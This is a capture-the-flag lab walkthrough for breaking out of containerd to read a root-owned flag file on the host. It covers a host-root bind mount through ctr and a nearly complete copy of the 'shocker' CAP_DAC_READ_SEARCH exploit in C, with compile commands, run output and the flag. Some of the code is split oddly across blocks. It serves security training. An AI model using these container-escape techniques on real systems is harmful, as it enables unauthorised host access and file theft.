

[illegible]

Name	Leveraging Containerd
URL	https://attackdefense.com/challengedetails?cid=1452
Type	Docker Security : Docker Breakouts

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Objective: Escalate to root user and retrieve the flag!

Solution:

Step 1: Check the containerd images present on the machine

Command: ctr image list

```
student@localhost:~$ ctr image list
REF                                TYPE                                DIGEST
SIZE    PLATFORMS    LABELS
registry:5000/modified-alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472ba69e3fe9326f186fe2 100.1 MiB linux/amd64 -
registry:5000/modified-ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03236d97133f3ed3571a 302.8 MiB linux/amd64 -
student@localhost:~$
```

There are two images present in local storage.

There are multiple ways to proceed.

Approach 1: Mounting host filesystem

Step 2: Start a container and mount the filesystem of host machine inside the container (i.e. mapping / of host machine to / of container).

Command: ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/modified-ubuntu:latest ubuntu bash

```
student@localhost:~$  
student@localhost:~$ ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/modified-ubuntu:latest ubuntu bash  
root@localhost:~#  
root@localhost:~#
```

Step 3: Once inside the container, check the contents of /root and retrieve the flag.

Commands:

```
root@localhost:~# ls -l  
total 4  
-rw-r--r-- 1 root root 33 Nov 29 19:59 flag  
root@localhost:~#  
root@localhost:~#  
root@localhost:~# cat flag  
a3b52d57f34b328400bacef9deee7459  
root@localhost:~#
```

Flag: a3b52d57f34b328400bacef9deee7459

Approach 2: Abusing DAC_READ_SEARCH Capability

Step 2: Start a container in privileged mode and host networking enable.

Command: ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash

```
student@localhost:~$ ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash  
root@localhost:~#  
root@localhost:~#  
root@localhost:~#
```

Step 4: Identify the files which are mounted on the container.

Command: mount

```

root@localhost:~# mount
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/25/fs:/var/lib/containerd/
io.containerd.snapshotter.v1.overlayfs/snapshots/24/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/23/fs:/var/lib/cont
ainerd/io.containerd.snapshotter.v1.overlayfs/snapshots/22/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/21/fs:/var/l
ib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/20/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/19/fs
:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/18/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapsho
t/17/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/16/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/s
napshots/15/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/14/fs,upperdir=/var/lib/containerd/io.containerd.snapshotte
r.v1.overlayfs/snapshots/28/fs,workdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/28/work,xino=off)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
tmpfs on /run type tmpfs (rw,nosuid,size=65536k,mode=755)
/dev/sda on /etc/hosts type ext4 (ro,relatime)
/dev/sda on /etc/resolv.conf type ext4 (ro,relatime)
devpts on /dev/console type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
root@localhost:~#

```

/etc/hosts and /etc/resolv.conf files are mounted on the container.

Step 5: The following exploit code can be used to abuse DAC_READ_SEARCH Capability. Modify the exploit code to read two arguments from the command line. The first argument will be file to read, the second argument will be the location of the file where the content of the read file will be stored. Here, /etc/hosts will be used in the exploit code.

Modified Exploit:

```

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>

struct my_file_handle {
    unsigned int handle_bytes;
    int handle_type;
    unsigned char f_handle[8];
};

```

```

void die(const char *msg)
{
    perror(msg);
    exit(errno);
}

```

```

void dump_handle(const struct my_file_handle *h)
{
    fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h->handle_bytes,
        h->handle_type);
    for (int i = 0; i < h->handle_bytes; ++i) {
        fprintf(stderr, "0x%02x", h->f_handle[i]);
        if ((i + 1) % 20 == 0)
            fprintf(stderr, "\n");
        if (i < h->handle_bytes - 1)
            fprintf(stderr, ", ");
    }
    fprintf(stderr, "};\n");
}

```

```

int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle
*oh)
{
    int fd;
    uint32_t ino = 0;
    struct my_file_handle outh = {
        .handle_bytes = 8,
        .handle_type = 1
    };
    DIR *dir = NULL;
    struct dirent *de = NULL;

    path = strchr(path, '/');

    // recursion stops if path has been resolved
    if (!path) {

```



```

        memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
        oh->handle_type = 1;
        oh->handle_bytes = 8;
        return 1;
    }
    ++path;
    fprintf(stderr, "[*] Resolving '%s'\n", path);

    if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
        die("[!] open_by_handle_at");

    if ((dir = fdopendir(fd)) == NULL)
        die("[!] fdopendir");
    for (;;) {
        de = readdir(dir);
        if (!de)
            break;
        fprintf(stderr, "[*] Found %s\n", de->d_name);
        if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
            fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
            ino = de->d_ino;
            break;
        }
    }
    fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");

    if (de) {
        for (uint32_t i = 0; i < 0xffffffff; ++i) {
            outh.handle_bytes = 8;
            outh.handle_type = 1;
            memcpy(outh.f_handle, &ino, sizeof(ino));
            memcpy(outh.f_handle + 4, &i, sizeof(i));

            if ((i % (1<<20)) == 0)
                fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
            if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
                closedir(dir);
                close(fd);
                dump_handle(&outh);
            }
        }
    }
}

```

```

        return find_handle(bfd, path, &outh, oh);
    }
}

closedir(dir);
close(fd);
return 0;
}

int main(int argc, char* argv[])
{
    char buf[0x1000];
    int fd1, fd2;
    struct my_file_handle h;
    struct my_file_handle root_h = {
        .handle_bytes = 8,
        .handle_type = 1,
        .f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
    };

    fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014      [***]\n"
        "[***] The tea from the 90's kicks your sekurity again.      [***]\n"
        "[***] If you have pending sec consulting, I'll happily [***]\n"
        "[***] forward to my friends who drink secury-tea too!      [***]\n\n<enter>\n");

    read(0, buf, 1);

    // get a FS reference from something mounted in from outside
    if ((fd1 = open("/etc/hosts", O_RDONLY)) < 0)
        die("[-] open");

    if (find_handle(fd1, argv[1], &root_h, &h) <= 0)
        die("[-] Cannot find valid handle!");

    fprintf(stderr, "[!] Got a final handle!\n");
    dump_handle(&h);

    if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
        die("[-] open_by_handle");
}

```

```

memset(buf, 0, sizeof(buf));
if (read(fd2, buf, sizeof(buf) - 1) < 0)
    die("[-] read");

printf("Success!!\n");

FILE *fptr;
fptr = fopen(argv[2], "w");
fprintf(fptr, "%s", buf);
fclose(fptr);

close(fd2); close(fd1);

return 0;
}

```

Save the above exploit code as “shocker.c”

Step 6: Compile the c code.

Command: gcc shocker.c -o read_files

```

root@localhost:~# gcc shocker.c -o read_files
shocker.c: In function 'find_handle':
shocker.c:66:16: warning: implicit declaration of function 'open_by_handle_at' [-Wimplicit-function-declaration]
    if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
               ^
root@localhost:~#

```

Step 7: Execute the binary and read the content of /root/flag file.

Command: ./read_files /root/flag flag


```
root@localhost:~# ./read_files /root/flag flag
[***] docker VMM-container breakout Po(C) 2014 [***]
[***] The tea from the 90's kicks your sekurity again. [***]
[***] If you have pending sec consulting, I'll happily [***]
[***] forward to my friends who drink secury-tea too! [***]

<enter>

[*] Resolving 'root/flag'
[*] Found lib
[*] Found mnt
```

```
[*] Found flag
[+] Match: flag ino=35318
[*] Brute forcing remaining 32bit. This can take a while...
[*] (flag) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0xf6, 0x89, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Got a final handle!
[*] #=8, 1, char nh[] = {0xf6, 0x89, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
Success!!
root@localhost:~#
```

The content of /root/flag of the host file system was retrieved successfully.

Step 8: Execute the binary and read the content of /root/flag file.

Command: cat flag

```
root@localhost:~# cat flag
a3b52d57f34b328400bacef9deee7459
root@localhost:~#
```

Flag: a3b52d57f34b328400bacef9deee7459

References:

1. Containerd (<https://www.docker.com/>)
2. shocker: docker PoC VMM-container breakout (<http://stealth.openwall.net/xSports/shocker.c>)
3. CAP_DAC_READ_SEARCH (<http://man7.org/linux/man-pages/man7/capabilities.7.html>)